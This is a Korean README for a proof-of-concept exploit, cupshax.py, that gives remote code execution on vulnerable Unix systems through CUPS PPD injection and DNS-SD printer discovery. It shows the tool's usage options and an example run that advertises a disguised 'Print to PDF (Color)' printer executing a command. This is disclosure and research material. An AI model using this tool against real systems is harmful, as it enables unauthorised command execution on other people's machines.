
최근 CUPS 취약점을 이용한 빠른 개념 증명으로, PPD 주입 및 DNS-SD 프린터 검색을 통해 원격 코드 실행을 가능하게 합니다. 취약한 Unix 시스템에서 임의의 명령을 실행합니다.
최근 CUPS 익스플로잇에 대한 간단한 개념 증명(PoC)입니다. 코드를 훨씬 더 정리할 계획이었지만, 엠바고가 예상보다 훨씬 일찍 해제되어 코드가 다소 급하게 작성되었습니다.
모든 기술적 세부 사항은 솔직히 Evilsocket의 글을 읽는 것이 좋습니다.
이 익스플로잇은 공개 OpenPrinting CUPS 저장소에서 이 커밋을 발견한 후 작성되었습니다. 아마 더 깔끔한 주입 지점이 있을 것입니다.
이 PoC는 dns-sd 프린터 검색을 사용하므로, 대상이 브로드캐스트 메시지를 수신할 수 있어야 합니다. 즉, 동일한 네트워크에 있어야 합니다.
이 익스플로잇은 zeroconf와 ippserver를 사용하며, 둘 다 pip로 설치할 수 있습니다.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
예를 들어:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3